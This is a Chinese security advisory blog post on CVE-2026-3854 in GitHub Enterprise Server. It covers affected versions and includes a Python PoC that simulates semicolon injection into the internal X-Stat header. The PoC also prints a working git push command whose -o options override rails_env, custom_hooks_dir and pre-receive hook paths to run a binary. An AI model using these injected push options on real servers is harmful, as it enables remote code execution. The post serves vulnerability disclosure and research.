首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2026-3854|GitHub Enterprise Server中存在远程代码执行漏洞(POC)

CVE-2026-3854|GitHub Enterprise Server中存在远程代码执行漏洞(POC)

作者头像
信安百科
发布2026-05-08 19:48:40
发布2026-05-08 19:48:40
1050
举报
文章被收录于专栏:信安百科信安百科

0x00 前言

GitHub Enterprise Server是GitHub的自承载版本,专为有严格合规需求的企业打造。它可部署在企业本地数据中心或公有云,支持Hyper-V、KVM、ESXi等虚拟化环境及AWS、GCP、Azure等云服务,企业能通过防火墙、IAM等自定义安全措施,实现对数据和平台的高度管控。

该平台延续了GitHub.com的核心功能与工作流,开发人员可无缝协作。同时提供丰富的可选功能:GitHub Actions自动化CI/CD,GitHub Advanced Security扫描代码漏洞,GitHub Connect对接GitHub.com资源,GitHub Packages托管软件包。

0x01 漏洞描述

该漏洞源于babeld代理在处理git push选项时,未对分号(;)等特殊定界符进行有效转义,直接将其嵌入内部X-Stat协议头中。由于该协议采用“末尾写入获胜(Last-write-wins)”的语义,攻击者可注入恶意字段覆盖rails_env、custom_hooks_dir等关键安全配置。通过将环境篡改为非生产模式并重定向钩子目录,攻击者可诱导pre-receive hook执行受控的任意二进制文件,从而在 GitHub.com共享存储节点或GHES服务器上实现git用户权限的代码执行。 —— ——来源于网络

0x02 CVE编号

CVE-2026-3854

0x03 影响版本

代码语言:javascript
复制
3.14.0 <= GitHub Enterprise Server < 3.14.25
3.15.0 <= GitHub Enterprise Server < 3.15.20
3.16.0 <= GitHub Enterprise Server < 3.16.16
3.17.0 <= GitHub Enterprise Server < 3.17.13
3.18.0 <= GitHub Enterprise Server < 3.18.7
3.19.0 <= GitHub Enterprise Server < 3.19.4

0x04 漏洞详情

POC:

https://github.com/lysophavin18/CVE-2026-3854-PoC

代码语言:javascript
复制
#!/usr/bin/env python3
"""
CVE-2026-3854 PoC - GitHub RCE via X-Stat Push Option Injection
Educational / Authorized Security Research Only

This script is a purely demonstrative simulation of CVE-2026-3854.
It does NOT connect to any live system, execute any real commands,
or perform any actual exploitation. It exists solely to illustrate
the vulnerability mechanism for educational and authorized research.

Usage:
    python3 exploi-git.py
"""

import json

SEPARATOR = "=" * 70

BANNER = """
    ╔══════════════════════════════════════════════════════════════════════╗
    ║  CVE-2026-3854 PoC - GitHub RCE via X-Stat Push Option Injection    ║
    ║  Educational / Authorized Security Research Only                     ║
    ╚══════════════════════════════════════════════════════════════════════╝
"""

# ---------------------------------------------------------------------------
# Simulated server-side X-Stat header builder
# ---------------------------------------------------------------------------

# Baseline values a legitimate GitHub push would carry
BASELINE_FIELDS = {
    "repo_id": "12345",
    "user_id": "attacker",
    "rails_env": "production",
    "enterprise_mode": "false",
    "custom_hooks_dir": "/data/github/custom-hooks",
    "repo_pre_receive_hooks": "[]",
    "push_option_count": "0",
}


def build_xstat_header(push_options: list[str]) -> str:
    """
    Simulate how GitHub's internal Ruby code concatenates push options
    into the X-Stat header using semicolons as field delimiters.

    Vulnerable behaviour: push option values are inserted verbatim,
    so a semicolon inside a value breaks out into a new field.
    """
    parts = list(BASELINE_FIELDS.items())
    for idx, value in enumerate(push_options):
        # push_option_N=<value> — value is NOT sanitised (vulnerable path)
        parts.append((f"push_option_{idx}", value))

    return ";".join(f"{k}={v}" for k, v in parts)


def parse_xstat_header(header: str) -> dict[str, str]:
    """
    Simulate the server-side parser that splits the X-Stat header on
    semicolons and takes the *last* occurrence of each key (attacker wins).
    """
    result: dict[str, str] = {}
    for token in header.split(";"):
        if "=" in token:
            key, _, val = token.partition("=")
            result[key.strip()] = val.strip()
    return result


def sanitise_push_option(value: str) -> str:
    """Patched behaviour: percent-encode semicolons before insertion."""
    return value.replace(";", "%3B")


# ---------------------------------------------------------------------------
# Demo helpers
# ---------------------------------------------------------------------------


def demo1_basic_injection() -> None:
    """DEMO 1 – Basic semicolon injection that overrides rails_env."""
    print(SEPARATOR)
    print("DEMO 1: Basic Semicolon Injection -> Sandbox Bypass")
    print(SEPARATOR)
    print()

    malicious_option = "normal_value;rails_env=staging"
    print(f"[ATTACKER] Push option: {malicious_option}")
    print("[ATTACKER] Semicolon breaks out of push_option_0 field")
    print()

    header = build_xstat_header([malicious_option])
    abbreviated = header[:120] + "..."
    print(f"[VULNERABLE] X-Stat header (abbreviated): {abbreviated}")
    print()

    parsed = parse_xstat_header(header)
    rails_env = parsed.get("rails_env", "production")
    print(f"[RESULT] rails_env = '{rails_env}'")

    if rails_env != "production":
        print(f"[IMPACT] Sandbox BYPASSED! Changed from 'production' to '{rails_env}'")
    else:
        print("[IMPACT] Injection had no effect — rails_env unchanged")
    print()


def demo2_rce_chain() -> None:
    """DEMO 2 – Full 3-step conceptual RCE chain (no real execution)."""
    print(SEPARATOR)
    print("DEMO 2: Full 3-Step RCE Chain")
    print(SEPARATOR)
    print()

    rce_options = [
        'step1;rails_env=staging',
        'step2;custom_hooks_dir=/tmp/evilhooks',
        'step3;repo_pre_receive_hooks=[{"script": "../../../usr/bin/id"}]',
        'step4;enterprise_mode=true',
    ]

    print("[ATTACKER] Crafted push options:")
    for opt in rce_options:
        print(f'  -o "{opt}"')
    print()

    header = build_xstat_header(rce_options)
    parsed = parse_xstat_header(header)

    security_fields = [
        "rails_env",
        "custom_hooks_dir",
        "repo_pre_receive_hooks",
        "enterprise_mode",
    ]

    print("[RESULT] Security-critical parsed fields:")
    for field in security_fields:
        value = parsed.get(field, "<not set>")
        print(f"  {field:<22} = {value}")
    print()

    hooks_dir = parsed.get("custom_hooks_dir", "/data/github/custom-hooks")
    hook_script_raw = parsed.get(
        "repo_pre_receive_hooks", '[{"script": "../../../usr/bin/id"}]'
    )
    # Robustly extract the script path from the hook JSON list
    try:
        hooks_list = json.loads(hook_script_raw)
        hook_script = hooks_list[0].get("script", "unknown") if hooks_list else "unknown"
    except (json.JSONDecodeError, IndexError, KeyError, TypeError):
        hook_script = "unknown"
    resolved = hooks_dir.rstrip("/") + "/" + hook_script

    print("[EXECUTION FLOW]")
    print(f"  1. rails_env='staging' -> UNSANDBOXED mode")
    print(f"  2. custom_hooks_dir='{hooks_dir}' (attacker-controlled)")
    print(f"  3. Hook resolves to: {resolved}")
    print(f"  4. -> Executes /usr/bin/id as git user WITHOUT SANDBOX")
    print(f"  5. RCE ACHIEVED")
    print()


def demo3_patched() -> None:
    """DEMO 3 – Shows how the patch (semicolon sanitisation) neutralises the attack."""
    print(SEPARATOR)
    print("DEMO 3: Patched Behavior (Semicolon Sanitization)")
    print(SEPARATOR)
    print()

    original = "normal_value;rails_env=staging"
    sanitised = sanitise_push_option(original)

    print(f"[PATCHED] Original:  {original}")
    print(f"[PATCHED] Sanitized: {sanitised}")
    print()

    # Build header with the sanitised value
    header = build_xstat_header([sanitised])
    parsed = parse_xstat_header(header)
    rails_env = parsed.get("rails_env", "production")

    print(f"[PATCHED] rails_env = '{rails_env}'")
    if rails_env == "production":
        print("[PATCHED] Injection NEUTRALIZED - sandbox remains active")
    else:
        print(f"[PATCHED] Unexpected result: rails_env = '{rails_env}'")
    print()


def show_exploit_command() -> None:
    """Display the conceptual git push command used during authorized testing."""
    print(SEPARATOR)
    print("EXPLOIT COMMAND (Authorized Testing Only)")
    print(SEPARATOR)
    print()
    print(
        "git push "
        '-o ;rails_env=staging '
        '-o ;custom_hooks_dir=/tmp '
        '-o \';repo_pre_receive_hooks=[{"script":"../../../usr/bin/id"}]\' '
        "-o ;enterprise_mode=true "
        "git@github.com:attacker/repo.git"
    )
    print()
    print("Each -o injects fields into X-Stat via semicolon delimiter abuse.")
    print()


def show_references() -> None:
    """Print external references for this CVE."""
    print(SEPARATOR)
    print("REFERENCES")
    print(SEPARATOR)
    print()
    print("  [1] Wiz Research:  https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854")
    print("  [2] GitHub Blog:   https://github.blog/security/securing-the-git-push-pipeline/")
    print("  [3] NVD Entry:     https://nvd.nist.gov/vuln/detail/CVE-2026-3854")
    print()


# ---------------------------------------------------------------------------
# Entry point
# ---------------------------------------------------------------------------


def main() -> None:
    print(BANNER)
    demo1_basic_injection()
    demo2_rce_chain()
    demo3_patched()
    show_exploit_command()
    show_references()


if __name__ == "__main__":
    main()

0x05 参考链接

https://github.blog/security/securing-the-git-push-pipeline-responding-to-a-critical-remote-code-execution-vulnerability/

https://github.com/advisories/ghsa-64fw-jx9p-5j24

推荐阅读:

CVE-2024-4985|GitHub Enterprise Server身份验证绕过漏洞(POC)

N/A|Microsoft Defender本地权限提升漏洞(POC)

CVE-2026-34486|Apache Tomcat远程代码执行漏洞(POC)

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持

!!!


本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-05-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档